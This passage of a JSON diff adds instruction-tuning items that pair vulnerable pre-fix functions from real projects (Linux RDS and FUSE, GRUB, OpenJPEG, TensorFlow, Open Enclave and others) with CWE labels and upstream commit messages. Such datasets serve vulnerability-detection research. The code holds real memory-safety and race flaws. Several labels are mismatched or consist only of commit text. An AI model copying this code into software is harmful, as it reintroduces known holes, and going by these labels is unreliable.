rs->rs_bound_port,\n\t\t\t\t\t\t\t  dport,\n\t\t\t\t\t\t\t  &queued),\n\t\t\t\t\ttimeo);\n\t\trdsdebug(\"sendmsg woke queued %d timeo %ld\\n\", queued, timeo);\n\t\tif (timeo > 0 || timeo == MAX_SCHEDULE_TIMEOUT)\n\t\t\tcontinue;\n\n\t\tret = timeo;\n\t\tif (ret == 0)\n\t\t\tret = -ETIMEDOUT;\n\t\tgoto out;\n\t}\n\n\t/*\n\t * By now we've committed to the send.  We reuse rds_send_worker()\n\t * to retry sends in the rds thread if the transport asks us to.\n\t */\n\trds_stats_inc(s_send_queued);\n\n\tret = rds_send_xmit(conn);\n\tif (ret == -ENOMEM || ret == -EAGAIN)\n\t\tqueue_delayed_work(rds_wq, &conn->c_send_w, 1);\n\n\trds_message_put(rm);\n\treturn payload_len;\n\nout:\n\t/* If the user included a RDMA_MAP cmsg, we allocated a MR on the fly.\n\t * If the sendmsg goes through, we keep the MR. If it fails with EAGAIN\n\t * or in any other way, we need to destroy the MR again */\n\tif (allocated_mr)\n\t\trds_rdma_unuse(rs, rds_rdma_cookie_key(rm->m_rdma_cookie), 1);\n\n\tif (rm)\n\t\trds_message_put(rm);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-362'], 'message': 'RDS: fix race condition when sending a message on unbound socket\n\nSasha's found a NULL pointer dereference in the RDS connection code when\nsending a message to an apparently unbound socket.  The problem is caused\nby the code checking if the socket is bound in rds_sendmsg(), which checks\nthe rs_bound_addr field without taking a lock on the socket.  This opens a\nrace where rs_bound_addr is temporarily set but where the transport is not\nin rds_bind(), leading to a NULL pointer dereference when trying to\ndereference 'trans' in __rds_conn_create().\n\nVegard wrote a reproducer for this issue, so kindly ask him to share if\nyou're interested.\n\nI cannot reproduce the NULL pointer dereference using Vegard's reproducer\nwith this patch, whereas I could without.\n\nComplete earlier incomplete fix to CVE-2015-6937:\n\n  74e98eb08588 (\"RDS: verify the underlying transport exists before creating a connection\")\n\nCc: David S. Miller \nCc: stable@vger.kernel.org\n\nReviewed-by: Vegard Nossum \nReviewed-by: Sasha Levin \nAcked-by: Santosh Shilimkar \nSigned-off-by: Quentin Casasnovas \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:         void do_write_static()\n        {\n            is_writing = true;\n            asio::write(adaptor_.socket(), buffers_);\n\n            if (res.file_info.statResult == 0)\n            {\n                std::ifstream is(res.file_info.path.c_str(), std::ios::in | std::ios::binary);\n                char buf[16384];\n                while (is.read(buf, sizeof(buf)).gcount() > 0)\n                {\n                    std::vector buffers;\n                    buffers.push_back(asio::buffer(buf));\n                    do_write_sync(buffers);\n                }\n            }\n            is_writing = false;\n            if (close_connection_)\n            {\n                adaptor_.shutdown_readwrite();\n                adaptor_.close();\n                CROW_LOG_DEBUG << this << \" from write (static)\";\n                check_destroy();\n            }\n\n            res.end();\n            res.clear();\n            buffers_.clear();\n        } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Prevent HTTP pipelining which Crow doesn't support.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err gf_isom_oinf_read_entry(void *entry, GF_BitStream *bs)\n{\n\tGF_OperatingPointsInformation* ptr = (GF_OperatingPointsInformation *)entry;\n\tu32 i, j, count;\n\n\tif (!ptr) return GF_BAD_PARAM;\n\tptr->scalability_mask = gf_bs_read_u16(bs);\n\tgf_bs_read_int(bs, 2);//reserved\n\tcount = gf_bs_read_int(bs, 6);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_ProfileTierLevel *ptl;\n\t\tGF_SAFEALLOC(ptl, LHEVC_ProfileTierLevel);\n\t\tif (!ptl) return GF_OUT_OF_MEM;\n\t\tptl->general_profile_space = gf_bs_read_int(bs, 2);\n\t\tptl->general_tier_flag= gf_bs_read_int(bs, 1);\n\t\tptl->general_profile_idc = gf_bs_read_int(bs, 5);\n\t\tptl->general_profile_compatibility_flags = gf_bs_read_u32(bs);\n\t\tptl->general_constraint_indicator_flags = gf_bs_read_long_int(bs, 48);\n\t\tptl->general_level_idc = gf_bs_read_u8(bs);\n\t\tgf_list_add(ptr->profile_tier_levels, ptl);\n\t}\n\tcount = gf_bs_read_u16(bs);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_OperatingPoint *op;\n\t\tGF_SAFEALLOC(op, LHEVC_OperatingPoint);\n\t\tif (!op) return GF_OUT_OF_MEM;\n\t\top->output_layer_set_idx = gf_bs_read_u16(bs);\n\t\top->max_temporal_id = gf_bs_read_u8(bs);\n\t\top->layer_count = gf_bs_read_u8(bs);\n\t\tfor (j = 0; j < op->layer_count; j++) {\n\t\t\top->layers_info[j].ptl_idx = gf_bs_read_u8(bs);\n\t\t\top->layers_info[j].layer_id = gf_bs_read_int(bs, 6);\n\t\t\top->layers_info[j].is_outputlayer = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\t\top->layers_info[j].is_alternate_outputlayer = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\t}\n\t\top->minPicWidth = gf_bs_read_u16(bs);\n\t\top->minPicHeight = gf_bs_read_u16(bs);\n\t\top->maxPicWidth = gf_bs_read_u16(bs);\n\t\top->maxPicHeight = gf_bs_read_u16(bs);\n\t\top->maxChromaFormat = gf_bs_read_int(bs, 2);\n\t\top->maxBitDepth = gf_bs_read_int(bs, 3) + 8;\n\t\tgf_bs_read_int(bs, 1);//reserved\n\t\top->frame_rate_info_flag = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\top->bit_rate_info_flag = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\tif (op->frame_rate_info_flag) {\n\t\t\top->avgFrameRate = gf_bs_read_u16(bs);\n\t\t\tgf_bs_read_int(bs, 6); //reserved\n\t\t\top->constantFrameRate = gf_bs_read_int(bs, 2);\n\t\t}\n\t\tif (op->bit_rate_info_flag) {\n\t\t\top->maxBitRate = gf_bs_read_u32(bs);\n\t\t\top->avgBitRate = gf_bs_read_u32(bs);\n\t\t}\n\t\tgf_list_add(ptr->operating_points, op);\n\t}\n\tcount = gf_bs_read_u8(bs);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_DependentLayer *dep;\n\t\tGF_SAFEALLOC(dep, LHEVC_DependentLayer);\n\t\tif (!dep) return GF_OUT_OF_MEM;\n\t\tdep->dependent_layerID = gf_bs_read_u8(bs);\n\t\tdep->num_layers_dependent_on = gf_bs_read_u8(bs);\n\t\tfor (j = 0; j < dep->num_layers_dependent_on; j++)\n\t\t\tdep->dependent_on_layerID[j] = gf_bs_read_u8(bs);\n\t\tfor (j = 0; j < 16; j++) {\n\t\t\tif (ptr->scalability_mask & (1 << j))\n\t\t\t\tdep->dimension_identifier[j] = gf_bs_read_u8(bs);\n\t\t}\n\t\tgf_list_add(ptr->dependency_layers, dep);\n\t}\n\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'fix some exploitable overflows (#994, #997)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: grub_ext2_read_block (grub_fshelp_node_t node, grub_disk_addr_t fileblock)\n{\n  struct grub_ext2_data *data = node->data;\n  struct grub_ext2_inode *inode = &node->inode;\n  int blknr = -1;\n  unsigned int blksz = EXT2_BLOCK_SIZE (data);\n  int log2_blksz = LOG2_EXT2_BLOCK_SIZE (data);\n\n  if (grub_le_to_cpu32(inode->flags) & EXT4_EXTENTS_FLAG)\n    {\n#ifndef _MSC_VER\n\t  char buf[EXT2_BLOCK_SIZE (data)];\n#else\n\t  char * buf = grub_malloc (EXT2_BLOCK_SIZE(data));\n#endif\n      struct grub_ext4_extent_header *leaf;\n      struct grub_ext4_extent *ext;\n      int i;\n\n      leaf = grub_ext4_find_leaf (data, buf,\n\t\t  (struct grub_ext4_extent_header *) inode->blocks.dir_blocks,\n\t\t  fileblock);\n      if (! leaf)\n        {\n          grub_error (GRUB_ERR_BAD_FS, \"invalid extent\");\n          return -1;\n        }\n\n      ext = (struct grub_ext4_extent *) (leaf + 1);\n      for (i = 0; i < grub_le_to_cpu16 (leaf->entries); i++)\n        {\n          if (fileblock < grub_le_to_cpu32 (ext[i].block))\n            break;\n        }\n\n      if (--i >= 0)\n        {\n          fileblock -= grub_le_to_cpu32 (ext[i].block);\n          if (fileblock >= grub_le_to_cpu16 (ext[i].len))\n            return 0;\n          else\n            {\n              grub_disk_addr_t start;\n\n              start = grub_le_to_cpu16 (ext[i].start_hi);\n              start = (start << 32) + grub_le_to_cpu32 (ext[i].start);\n\n              return fileblock + start;\n            }\n        }\n      else\n        {\n          grub_error (GRUB_ERR_BAD_FS, \"something wrong with extent\");\n          return -1;\n        }\n    }\n  /* Direct blocks.  */\n  if (fileblock < INDIRECT_BLOCKS)\n    blknr = grub_le_to_cpu32 (inode->blocks.dir_blocks[fileblock]);\n  /* Indirect.  */\n  else if (fileblock < INDIRECT_BLOCKS + blksz / 4)\n    {\n      grub_uint32_t *indir;\n\n      indir = grub_malloc (blksz);\n      if (! indir)\n\treturn grub_errno;\n\n      if (grub_disk_read (data->disk,\n\t\t\t  ((grub_disk_addr_t)\n\t\t\t   grub_le_to_cpu32 (inode->blocks.indir_block))\n\t\t\t  << log2_blksz,\n\t\t\t  0, blksz, indir))\n\treturn grub_errno;\n\n      blknr = grub_le_to_cpu32 (indir[fileblock - INDIRECT_BLOCKS]);\n      grub_free (indir);\n    }\n  /* Double indirect.  */\n  else if (fileblock < (grub_disk_addr_t)(INDIRECT_BLOCKS + blksz / 4) \\\n\t\t  * (grub_disk_addr_t)(blksz / 4 + 1))\n    {\n      unsigned int perblock = blksz / 4;\n      unsigned int rblock = fileblock - (INDIRECT_BLOCKS\n\t\t\t\t\t + blksz / 4);\n      grub_uint32_t *indir;\n\n      indir = grub_malloc (blksz);\n      if (! indir)\n\treturn grub_errno;\n\n      if (grub_disk_read (data->disk,\n\t\t\t  ((grub_disk_addr_t)\n\t\t\t   grub_le_to_cpu32 (inode->blocks.double_indir_block))\n\t\t\t  << log2_blksz,\n\t\t\t  0, blksz, indir))\n\treturn grub_errno;\n\n      if (grub_disk_read (data->disk,\n\t\t\t  ((grub_disk_addr_t)\n\t\t\t   grub_le_to_cpu32 (indir[rblock / perblock]))\n\t\t\t  << log2_blksz,\n\t\t\t  0, blksz, indir))\n\treturn grub_errno;\n\n      blknr = grub_le_to_cpu32 (indir[rblock % perblock]);\n            grub_free (indir);\n    }\n  /* triple indirect.  */\n  else\n    {\n      grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,\n\t\t  \"ext2fs doesn't support triple indirect blocks\");\n    }\n\n  return blknr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-787'], 'message': 'Fix ext2 buffer overflow in r2_sbu_grub_memmove'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ut64 MACH0_(get_main)(struct MACH0_(obj_t)* bin) {\n\tut64 addr = 0LL;\n\tstruct symbol_t *symbols;\n\tint i;\n\n\tif (!(symbols = MACH0_(get_symbols) (bin))) {\n\t\treturn 0;\n\t}\n\tfor (i = 0; !symbols[i].last; i++) {\n\t\tif (!strcmp (symbols[i].name, \"_main\")) {\n\t\t\taddr = symbols[i].addr;\n\t\t\tbreak;\n\t\t}\n\t}\n\tfree (symbols);\n\n\tif (!addr && bin->main_cmd.cmd == LC_MAIN) {\n\t\taddr = bin->entry + bin->baddr;\n\t}\n\n\tif (!addr) {\n\t\tut8 b[128];\n\t\tut64 entry = addr_to_offset(bin, bin->entry);\n\t\t// XXX: X86 only and hacky!\n\t\tif (entry > bin->size || entry + sizeof (b) > bin->size)\n\t\t\treturn 0;\n\t\ti = r_buf_read_at (bin->b, entry, b, sizeof (b));\n\t\tif (i < 1) {\n\t\t\treturn 0;\n\t\t}\n\t\tfor (i = 0; i < 64; i++) {\n\t\t\tif (b[i] == 0xe8 && !b[i+3] && !b[i+4]) {\n\t\t\t\tint delta = b[i+1] | (b[i+2] << 8) | (b[i+3] << 16) | (b[i+4] << 24);\n\t\t\t\treturn bin->entry + i + 5 + delta;\n\n\t\t\t}\n\t\t}\n\t}\n\treturn addr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Fix null deref and uaf in mach0 parser'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool FontData::Bound(int32_t offset, int32_t length) {\n  if (offset + length > Size() || offset < 0 || length < 0)\n    return false;\n\n  bound_offset_ += offset;\n  bound_length_ = length;\n  return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Check for integer overflow in sfntly::FontData::Bound().\n\nAlso delete dead code and cleanup some nits.\n\nThis is cl/96914065.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void opj_get_encoding_parameters(const opj_image_t *p_image,\n                                        const opj_cp_t *p_cp,\n                                        OPJ_UINT32 p_tileno,\n                                        OPJ_INT32 * p_tx0,\n                                        OPJ_INT32  * p_tx1,\n                                        OPJ_INT32  * p_ty0,\n                                        OPJ_INT32  * p_ty1,\n                                        OPJ_UINT32 * p_dx_min,\n                                        OPJ_UINT32 * p_dy_min,\n                                        OPJ_UINT32 * p_max_prec,\n                                        OPJ_UINT32 * p_max_res)\n{\n    /* loop */\n    OPJ_UINT32  compno, resno;\n    /* pointers */\n    const opj_tcp_t *l_tcp = 00;\n    const opj_tccp_t * l_tccp = 00;\n    const opj_image_comp_t * l_img_comp = 00;\n\n    /* position in x and y of tile */\n    OPJ_UINT32 p, q;\n\n    /* preconditions */\n    assert(p_cp != 00);\n    assert(p_image != 00);\n    assert(p_tileno < p_cp->tw * p_cp->th);\n\n    /* initializations */\n    l_tcp = &p_cp->tcps [p_tileno];\n    l_img_comp = p_image->comps;\n    l_tccp = l_tcp->tccps;\n\n    /* here calculation of tx0, tx1, ty0, ty1, maxprec, dx and dy */\n    p = p_tileno % p_cp->tw;\n    q = p_tileno / p_cp->tw;\n\n    /* find extent of tile */\n    *p_tx0 = opj_int_max((OPJ_INT32)(p_cp->tx0 + p * p_cp->tdx),\n                         (OPJ_INT32)p_image->x0);\n    *p_tx1 = opj_int_min((OPJ_INT32)(p_cp->tx0 + (p + 1) * p_cp->tdx),\n                         (OPJ_INT32)p_image->x1);\n    *p_ty0 = opj_int_max((OPJ_INT32)(p_cp->ty0 + q * p_cp->tdy),\n                         (OPJ_INT32)p_image->y0);\n    *p_ty1 = opj_int_min((OPJ_INT32)(p_cp->ty0 + (q + 1) * p_cp->tdy),\n                         (OPJ_INT32)p_image->y1);\n\n    /* max precision is 0 (can only grow) */\n    *p_max_prec = 0;\n    *p_max_res = 0;\n\n    /* take the largest value for dx_min and dy_min */\n    *p_dx_min = 0x7fffffff;\n    *p_dy_min  = 0x7fffffff;\n\n    for (compno = 0; compno < p_image->numcomps; ++compno) {\n        /* arithmetic variables to calculate */\n        OPJ_UINT32 l_level_no;\n        OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1;\n        OPJ_INT32 l_px0, l_py0, l_px1, py1;\n        OPJ_UINT32 l_pdx, l_pdy;\n        OPJ_UINT32 l_pw, l_ph;\n        OPJ_UINT32 l_product;\n        OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1;\n\n        l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx);\n        l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy);\n        l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx);\n        l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy);\n\n        if (l_tccp->numresolutions > *p_max_res) {\n            *p_max_res = l_tccp->numresolutions;\n        }\n\n        /* use custom size for precincts */\n        for (resno = 0; resno < l_tccp->numresolutions; ++resno) {\n            OPJ_UINT32 l_dx, l_dy;\n\n            /* precinct width and height */\n            l_pdx = l_tccp->prcw[resno];\n            l_pdy = l_tccp->prch[resno];\n\n            l_dx = l_img_comp->dx * (1u << (l_pdx + l_tccp->numresolutions - 1 - resno));\n            l_dy = l_img_comp->dy * (1u << (l_pdy + l_tccp->numresolutions - 1 - resno));\n\n            /* take the minimum size for dx for each comp and resolution */\n            *p_dx_min = opj_uint_min(*p_dx_min, l_dx);\n            *p_dy_min = opj_uint_min(*p_dy_min, l_dy);\n\n            /* various calculations of extents */\n            l_level_no = l_tccp->numresolutions - 1 - resno;\n\n            l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no);\n            l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no);\n            l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no);\n            l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no);\n\n            l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx;\n            l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy;\n            l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx;\n\n            py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy;\n\n            l_pw = (l_rx0 == l_rx1) ? 0 : (OPJ_UINT32)((l_px1 - l_px0) >> l_pdx);\n            l_ph = (l_ry0 == l_ry1) ? 0 : (OPJ_UINT32)((py1 - l_py0) >> l_pdy);\n\n            l_product = l_pw * l_ph;\n\n            /* update precision */\n            if (l_product > *p_max_prec) {\n                *p_max_prec = l_product;\n            }\n        }\n        ++l_img_comp;\n        ++l_tccp;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': '[OPENJP2] change the way to compute *p_tx0, *p_tx1, *p_ty0, *p_ty1 in function\nopj_get_encoding_parameters\n\nSigned-off-by: Young_X '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t _epoll_readv(\n    oe_fd_t* desc,\n    const struct oe_iovec* iov,\n    int iovcnt)\n{\n    ssize_t ret = -1;\n    epoll_t* file = _cast_epoll(desc);\n    void* buf = NULL;\n    size_t buf_size = 0;\n\n    if (!file || (iovcnt && !iov) || iovcnt < 0 || iovcnt > OE_IOV_MAX)\n        OE_RAISE_ERRNO(OE_EINVAL);\n\n    /* Flatten the IO vector into contiguous heap memory. */\n    if (oe_iov_pack(iov, iovcnt, &buf, &buf_size) != 0)\n        OE_RAISE_ERRNO(OE_ENOMEM);\n\n    /* Call the host. */\n    if (oe_syscall_readv_ocall(&ret, file->host_fd, buf, iovcnt, buf_size) !=\n        OE_OK)\n    {\n        OE_RAISE_ERRNO(OE_EINVAL);\n    }\n\n    /* Synchronize data read with IO vector. */\n    if (oe_iov_sync(iov, iovcnt, buf, buf_size) != 0)\n        OE_RAISE_ERRNO(OE_EINVAL);\n\ndone:\n\n    if (buf)\n        oe_free(buf);\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-552'], 'message': 'Merge pull request from GHSA-525h-wxcc-f66m\n\nSigned-off-by: Ming-Wei Shih '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t _hostsock_recvfrom(\n    oe_fd_t* sock_,\n    void* buf,\n    size_t count,\n    int flags,\n    const struct oe_sockaddr* src_addr,\n    oe_socklen_t* addrlen)\n{\n    ssize_t ret = -1;\n    sock_t* sock = _cast_sock(sock_);\n    oe_socklen_t addrlen_in = 0;\n\n    oe_errno = 0;\n\n    if (!sock || (count && !buf))\n        OE_RAISE_ERRNO(OE_EINVAL);\n\n    if (addrlen)\n        addrlen_in = *addrlen;\n\n    if (oe_syscall_recvfrom_ocall(\n            &ret,\n            sock->host_fd,\n            buf,\n            count,\n            flags,\n            (struct oe_sockaddr*)src_addr,\n            addrlen_in,\n            addrlen) != OE_OK)\n    {\n        OE_RAISE_ERRNO(OE_EINVAL);\n    }\n\ndone:\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-552'], 'message': 'Merge pull request from GHSA-525h-wxcc-f66m\n\nSigned-off-by: Ming-Wei Shih '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t _hostfs_readv(\n    oe_fd_t* desc,\n    const struct oe_iovec* iov,\n    int iovcnt)\n{\n    ssize_t ret = -1;\n    file_t* file = _cast_file(desc);\n    void* buf = NULL;\n    size_t buf_size = 0;\n\n    if (!file || (!iov && iovcnt) || iovcnt < 0 || iovcnt > OE_IOV_MAX)\n        OE_RAISE_ERRNO(OE_EINVAL);\n\n    /* Flatten the IO vector into contiguous heap memory. */\n    if (oe_iov_pack(iov, iovcnt, &buf, &buf_size) != 0)\n        OE_RAISE_ERRNO(OE_ENOMEM);\n\n    /* Call the host. */\n    if (oe_syscall_readv_ocall(&ret, file->host_fd, buf, iovcnt, buf_size) !=\n        OE_OK)\n    {\n        OE_RAISE_ERRNO(OE_EINVAL);\n    }\n\n    /* Synchronize data read with IO vector. */\n    if (ret > 0)\n    {\n        if (oe_iov_sync(iov, iovcnt, buf, buf_size) != 0)\n            OE_RAISE_ERRNO(OE_EINVAL);\n    }\n\ndone:\n\n    if (buf)\n        oe_free(buf);\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-552'], 'message': 'Merge pull request from GHSA-525h-wxcc-f66m\n\nSigned-off-by: Ming-Wei Shih '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    // Get inputs\n    const Tensor& input_tensor = context->input(0);\n    const auto input_tensor_flat = input_tensor.flat();\n    const Tensor& input_splits = context->input(1);\n    const auto input_splits_flat = input_splits.flat();\n\n    // Since we limit to a 2-D input (flat_values of rank 1 and a single splits\n    // tensor), our output dimension will be 1 with it's size equal to the\n    // number of splits (outer dimension or ragged tensor).\n    TensorShape output_shape({input_splits.dim_size(0) - 1});\n    Tensor* output_tensor;\n    OP_REQUIRES_OK(context, context->allocate_output(\"output\", output_shape,\n                                                     &output_tensor));\n    auto output_tensor_flat = output_tensor->flat();\n\n    // Use a single index over the flattened input values tensor.\n    int idx = 0;\n    // Loop through our split dimension to create a new string at each split.\n    for (int i = 1; i < input_splits_flat.size(); ++i) {\n      icu::UnicodeString unicode_string;\n      icu::UnicodeStringAppendable appendable_unicode_string(unicode_string);\n      for (; idx < input_splits_flat(i); ++idx) {\n        int32 code_point = input_tensor_flat(idx);\n        // Check for invalid code point\n        if (!U_IS_UNICODE_CHAR(code_point)) {\n          if (error_options_.error_on_malformatting) {\n            context->CtxFailure(errors::InvalidArgument(\n                \"Code point is out of range for Unicode, or a noncharacter.\"));\n            return;\n          } else if (!error_options_.elide_replacement) {\n            code_point = error_options_.subst;\n          }\n        }\n        appendable_unicode_string.appendCodePoint(code_point);\n      }\n      // Encode our string and save in the output.\n      tstring result;\n      Encode(encoding_, unicode_string, &result);\n      output_tensor_flat(i - 1) = std::move(result);\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'Fix heap buffer overflow in tf.raw_ops.UnicodeEncode.\n\nPiperOrigin-RevId: 371717714\nChange-Id: If33443b28f158e58078f1268f6b92f2728d219e0'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t fuse_dev_splice_write(struct pipe_inode_info *pipe,\n\t\t\t\t     struct file *out, loff_t *ppos,\n\t\t\t\t     size_t len, unsigned int flags)\n{\n\tunsigned nbuf;\n\tunsigned idx;\n\tstruct pipe_buffer *bufs;\n\tstruct fuse_copy_state cs;\n\tstruct fuse_dev *fud;\n\tsize_t rem;\n\tssize_t ret;\n\n\tfud = fuse_get_dev(out);\n\tif (!fud)\n\t\treturn -EPERM;\n\n\tpipe_lock(pipe);\n\n\tbufs = kvmalloc_array(pipe->nrbufs, sizeof(struct pipe_buffer),\n\t\t\t      GFP_KERNEL);\n\tif (!bufs) {\n\t\tpipe_unlock(pipe);\n\t\treturn -ENOMEM;\n\t}\n\n\tnbuf = 0;\n\trem = 0;\n\tfor (idx = 0; idx < pipe->nrbufs && rem < len; idx++)\n\t\trem += pipe->bufs[(pipe->curbuf + idx) & (pipe->buffers - 1)].len;\n\n\tret = -EINVAL;\n\tif (rem < len) {\n\t\tpipe_unlock(pipe);\n\t\tgoto out;\n\t}\n\n\trem = len;\n\twhile (rem) {\n\t\tstruct pipe_buffer *ibuf;\n\t\tstruct pipe_buffer *obuf;\n\n\t\tBUG_ON(nbuf >= pipe->buffers);\n\t\tBUG_ON(!pipe->nrbufs);\n\t\tibuf = &pipe->bufs[pipe->curbuf];\n\t\tobuf = &bufs[nbuf];\n\n\t\tif (rem >= ibuf->len) {\n\t\t\t*obuf = *ibuf;\n\t\t\tibuf->ops = NULL;\n\t\t\tpipe->curbuf = (pipe->curbuf + 1) & (pipe->buffers - 1);\n\t\t\tpipe->nrbufs--;\n\t\t} else {\n\t\t\tpipe_buf_get(pipe, ibuf);\n\t\t\t*obuf = *ibuf;\n\t\t\tobuf->flags &= ~PIPE_BUF_FLAG_GIFT;\n\t\t\tobuf->len = rem;\n\t\t\tibuf->offset += obuf->len;\n\t\t\tibuf->len -= obuf->len;\n\t\t}\n\t\tnbuf++;\n\t\trem -= obuf->len;\n\t}\n\tpipe_unlock(pipe);\n\n\tfuse_copy_init(&cs, 0, NULL);\n\tcs.pipebufs = bufs;\n\tcs.nr_segs = nbuf;\n\tcs.pipe = pipe;\n\n\tif (flags & SPLICE_F_MOVE)\n\t\tcs.move_pages = 1;\n\n\tret = fuse_dev_do_write(fud, &cs, len);\n\n\tpipe_lock(pipe);\n\tfor (idx = 0; idx < nbuf; idx++)\n\t\tpipe_buf_release(pipe, &bufs[idx]);\n\tpipe_unlock(pipe);\n\nout:\n\tkvfree(bufs);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'fs: prevent page refcount overflow in pipe_buf_get\n\nChange pipe_buf_get() to return a bool indicating whether it succeeded\nin raising the refcount of the page (if the thing in the pipe is a page).\nThis removes another mechanism for overflowing the page refcount.  All\ncallers converted to handle a failure.\n\nReported-by: Jann Horn \nSigned-off-by: Matthew Wilcox \nCc: stable@kernel.org\nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Status ShapeRefiner::InferShapesForFunctionSubNode(\n    const Node* node, InferenceContext* outer_context) {\n  TF_RETURN_IF_ERROR(AddNodeInternal(node, outer_context));\n  InferenceContext* node_context = CHECK_NOTNULL(GetContext(node));\n\n  if (StringPiece(node->type_string()) == kArgOp) {\n    // Handle special node: function input.\n    // Shapes for these nodes are provided in the outer inference\n    // context.\n\n    int index;\n    TF_RETURN_IF_ERROR(GetNodeAttr(AttrSlice(node->def()), \"index\", &index));\n\n    if (index < 0 || outer_context->num_inputs() <= index) {\n      return errors::Internal(\n          \"Function instantiation included invalid input index: \", index,\n          \" not in [0, \", outer_context->num_inputs(), \").\");\n    }\n\n    // TODO(b/134547156): TEMPORARY WORKAROUND. If input 